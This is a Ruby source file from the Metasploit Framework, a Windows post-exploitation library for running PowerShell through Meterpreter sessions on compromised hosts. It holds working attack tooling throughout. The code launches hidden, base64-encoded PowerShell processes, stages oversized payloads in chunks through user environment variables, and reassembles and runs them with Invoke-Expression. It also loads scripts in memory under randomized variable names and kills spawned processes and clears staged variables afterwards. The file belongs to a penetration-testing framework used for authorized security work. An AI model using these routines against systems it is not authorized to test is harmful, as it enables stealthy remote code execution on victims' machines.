rapid7/metasploit-framework

View on GitHub
lib/msf/core/post/windows/powershell.rb

Summary

Maintainability
C
1 day
Test Coverage
# -*- coding: binary -*-
module Msf
  class Post
    module Windows
      ##
      # Powershell exploitation routines
      ##
      module Powershell
        include ::Msf::Exploit::Powershell
        include ::Msf::Post::Common

        def initialize(info = {})
          super(
            update_info(
              info,
              'Compat' => {
                'Meterpreter' => {
                  'Commands' => %w[
                    stdapi_sys_config_sysinfo
                    stdapi_sys_process_execute
                    stdapi_sys_process_get_processes
                    stdapi_sys_process_kill
                  ]
                }
              }
            )
          )

          register_advanced_options(
            [
              OptInt.new('Powershell::Post::timeout',
                         [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
              OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]),
              OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]),
              OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]),
            ], self.class
          )
        end

        #
        # Returns true if powershell is installed
        #
        def have_powershell?
          cmd_exec('cmd.exe', '/c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m
        end

        #
        # Returns the Powershell version
        #
        def get_powershell_version
          return nil unless have_powershell?

          process, _pid, _c = execute_script('$PSVersionTable.PSVersion')

          o = ''

          while (d = process.channel.read)
            if d == ""
              if (Time.now.to_i - start < time_out) && (o == '')
                sleep 0.1
              else
                break
              end
            else
              o << d
            end
          end

          o.scan(/[\d \-]+/).last.split[0, 2] * '.'
        end

        #
        # Get/compare list of current PS processes - nested execution can spawn many children
        # doing checks before and after execution allows us to kill more children...
        # This is a hack, better solutions are welcome since this could kill user
        # spawned powershell windows created between comparisons.
        #
        def get_ps_pids(pids = [])
          current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] }
          # Subtract previously known pids
          current_pids = (current_pids - pids).uniq
          current_pids
        end

        #
        # Execute a powershell script and return the output, channels, and pids. The script
        # is never written to disk.
        #
        def execute_script(script, greedy_kill = false)
          @session_pids ||= []
          running_pids = greedy_kill ? get_ps_pids : []
          open_channels = []
          # Execute using -EncodedCommand
          session.response_timeout = datastore['Powershell::Post::timeout'].to_i
          ps_bin = datastore['Powershell::Post::force_wow64'] ?
            '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'

          # Check to ensure base64 encoding - regex format and content length division
          unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
            script = encode_script(script.to_s)
          end

          ps_string = "-EncodedCommand #{script} -InputFormat None"
          vprint_good "EXECUTING:\n#{ps_bin} #{ps_string}"
          cmd_out = session.sys.process.execute(ps_bin, ps_string, { 'Hidden' => true, 'Channelized' => true })

          # Subtract prior PIDs from current
          if greedy_kill
            Rex::ThreadSafe.sleep(3) # Let PS start child procs
            running_pids = get_ps_pids(running_pids)
          end

          # Add to list of running processes
          running_pids << cmd_out.pid

          # All pids start here, so store them in a class variable
          (@session_pids += running_pids).uniq!

          # Add to list of open channels
          open_channels << cmd_out

          [cmd_out, running_pids.uniq, open_channels]
        end

        #
        # Powershell scripts that are longer than 8000 bytes are split into 8000
        # byte chunks and stored as CMD environment variables. A new powershell
        # script is built that will reassemble the chunks and execute the script.
        # Returns the reassembly script.
        #
        def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
          # Check to ensure script is encoded and compressed
          if compressed_script =~ /\s|\.|\;/
            compressed_script = compress_script(compressed_script)
          end

          # Divide the encoded script into 8000 byte chunks and iterate
          index = 0
          count = 8000
          while index < compressed_script.size - 1
            # Define random, but serialized variable name
            env_variable = format("%05d%s", ((index + 8000) / 8000), env_suffix)

            # Create chunk
            chunk = compressed_script[index, count]

            # Build the set commands
            set_env_variable =  "[Environment]::SetEnvironmentVariable(" \
                                "'#{env_variable}'," \
                                "'#{chunk}', 'User')"

            # Compress and encode the set command
            encoded_stager = encode_script(compress_script(set_env_variable))

            # Stage the payload
            print_good " - Bytes remaining: #{compressed_script.size - index}"
            execute_script(encoded_stager, false)

            index += count
          end

          # Build the script reassembler
          reassemble_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
          reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
          reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
          reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
          reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"

          # Compress and encode the reassemble command
          encoded_script = encode_script(compress_script(reassemble_command))

          encoded_script
        end

        #
        # Uploads a script into a Powershell session via memory (Powershell session types only).
        # If the script is larger than 15000 bytes the script will be uploaded in a staged approach
        #
        def stage_psh_env(script)
          begin
            ps_script = read_script(script)
            encoded_expression = encode_script(ps_script)
            cleanup_commands = []
            # Add entropy to script variable names
            script_var = ps_script.rig.generate(4)
            decscript = ps_script.rig.generate(4)
            scriptby = ps_script.rig.generate(4)
            scriptbybase = ps_script.rig.generate(4)
            scriptbybasefull = ps_script.rig.generate(4)

            if encoded_expression.size > 14999
              print_error "Script size: #{encoded_expression.size} This script requires a stager"
              arr = encoded_expression.chars.each_slice(14999).map(&:join)
              print_good "Loading #{arr.count} chunks into the stager."
              vararray = []
              arr.each_with_index do |slice, index|
                variable = ps_script.rig.generate(5)
                vararray << variable
                indexval = index + 1
                vprint_good "Loaded stage:#{indexval}"
                session.shell_command("$#{variable} = \"#{slice}\"")
                cleanup_commands << "Remove-Variable #{variable} -EA 0"
              end

              linkvars = ''
              vararray.each { |var| linkvars << " + $#{var}" }
              linkvars.slice!(0..2)
              session.shell_command("$#{script_var} = #{linkvars}")

            else
              print_good "Script size: #{encoded_expression.size}"
              session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
            end

            session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
            session.shell_command("$#{scriptby}  = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
            session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
            session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
            session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
            print_good "Module loaded"

            unless cleanup_commands.empty?
              vprint_good "Cleaning up #{cleanup_commands.count} stager variables"
              session.shell_command(cleanup_commands.join(';').to_s)
            end
          rescue Errno::EISDIR => e
            vprint_error "Unable to upload script: #{e.message}"
          end
        end

        #
        # Reads output of the command channel and empties the buffer.
        # Will optionally log command output to disk.
        #
        def get_ps_output(cmd_out, eof, read_wait = 5)
          results = ''

          if datastore['Powershell::Post::log_output']
            # Get target's computer name
            computer_name = session.sys.config.sysinfo['Computer']

            # Create unique log directory
            log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name)
            ::FileUtils.mkdir_p(log_dir)

            # Define log filename
            time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
            log_file    = ::File.join(log_dir, "#{time_stamp}.txt")

            # Open log file for writing
            fd = ::File.new(log_file, 'w+')
          end

          # Read output until eof or nil return output and write to log
          loop do
            line = ::Timeout.timeout(read_wait) do
              cmd_out.channel.read
            end rescue nil
            break if line.nil?
            if line.sub!(/#{eof}/, '')
              results << line
              fd.write(line) if fd
              break
            end
            results << line
            fd.write(line) if fd
          end

          # Close log file
          fd.close if fd

          results
        end

        #
        # Clean up powershell script including process and chunks stored in environment variables
        #
        def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [],
                     env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
          # Remove environment variables
          env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
          env_del_command += "Select-String #{env_suffix}|%{"
          env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"

          script = compress_script(env_del_command, eof)
          cmd_out, new_running_pids, new_open_channels = execute_script(script)
          get_ps_output(cmd_out, eof)

          # Kill running processes, should mutex this...
          @session_pids = (@session_pids + running_pids + new_running_pids).uniq
          (running_pids + new_running_pids).uniq.each do |pid|
            begin
              if session.sys.process.processes.map { |x| x['pid'] }.include?(pid)
                session.sys.process.kill(pid)
              end
              @session_pids.delete(pid)
            rescue Rex::Post::Meterpreter::RequestError => e
              print_error "Failed to kill #{pid} due to #{e}"
            end
          end

          # Close open channels
          (open_channels + new_open_channels).uniq.each do |chan|
            chan.channel.close
          end

          ::File.delete(script_file) if script_file && delete
        end

        # Simple script execution wrapper, performs all steps
        # required to execute a string of powershell.
        # This method will try to kill all powershell.exe PIDs
        # which appeared during its execution, set greedy_kill
        # to false if this is not desired.
        #
        def psh_exec(script, greedy_kill = true, ps_cleanup = true)
          # Define vars
          eof = Rex::Text.rand_text_alpha(8)
          # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
          env_suffix = Rex::Text.rand_text_alpha(8)
          start = Rex::Text.rand_text_alpha(8)
          stop = Rex::Text.rand_text_alpha(8)
          script = "echo #{start};" + script + "; echo #{stop}"
          script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
          # Check to ensure base64 encoding - regex format and content length division
          unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero?
            script = encode_script(compress_script(script.to_s, eof), eof)
          end

          if datastore['Powershell::Post::dry_run']
            return "powershell -EncodedCommand #{script}"
          else
            # Check 8k cmd buffer limit, stage if needed
            if script.size > 8100
              vprint_error "Compressed size: #{script.size}"
              error_msg =  "Compressed size may cause command to exceed " \
                           "cmd.exe's 8kB character limit."
              vprint_error error_msg
              vprint_good 'Launching stager:'
              script = stage_cmd_env(script, env_suffix)
              print_good "Payload successfully staged."
            else
              print_good "Compressed size: #{script.size}"
            end

            vprint_good "Final command #{script}"

            # Execute the script, get the output, and kill the resulting PIDs
            cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
            if datastore['Powershell::Post::timeout'].to_i < 0
              out =  "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
              # print_error out
              return out
            end
            ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout'])
            ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip  #https://stackoverflow.com/a/9661504
            # Kill off the resulting processes if needed
            if ps_cleanup
              vprint_good "Cleaning up #{running_pids.join(', ')}"
              clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
            end

            return ps_output
          end
        end
      end
    end
  end
end